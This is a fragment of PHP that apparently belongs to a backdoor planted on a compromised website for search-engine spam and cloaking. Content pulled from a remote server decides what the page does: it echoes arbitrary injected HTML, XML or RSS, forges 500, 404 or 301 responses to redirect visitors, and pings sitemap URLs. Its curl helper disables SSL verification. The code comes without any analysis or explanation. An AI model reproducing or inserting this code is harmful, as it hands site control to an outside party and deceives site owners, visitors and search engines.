ok;"; exit(); } if(strstr($file_contents,"[#*#*#]")){ $html = explode("[#*#*#]",$file_contents); if($html[0] == "echohtml"){ echo $html[1]; exit; } if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; } if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; } if($html[0] == "getcontent500page"){@header('HTTP/1.1 500 Internal Server Error');exit();} if($html[0] == "getcontent404page"){@header('HTTP/1.1 404 Not Found');exit();} if($html[0] == "getcontent301page"){@header('HTTP/1.1 301 Moved Permanently'); header('Location: ' . $html[1]); exit();} if($html[0] == "pingxml"){ $maps=explode("|||",$html[1]); foreach($maps as $v){ $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR'; echo $v . '===>Sitemap: ' . $Oooo0s ."
"; } exit;} } function getCurl($url) { $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } ?>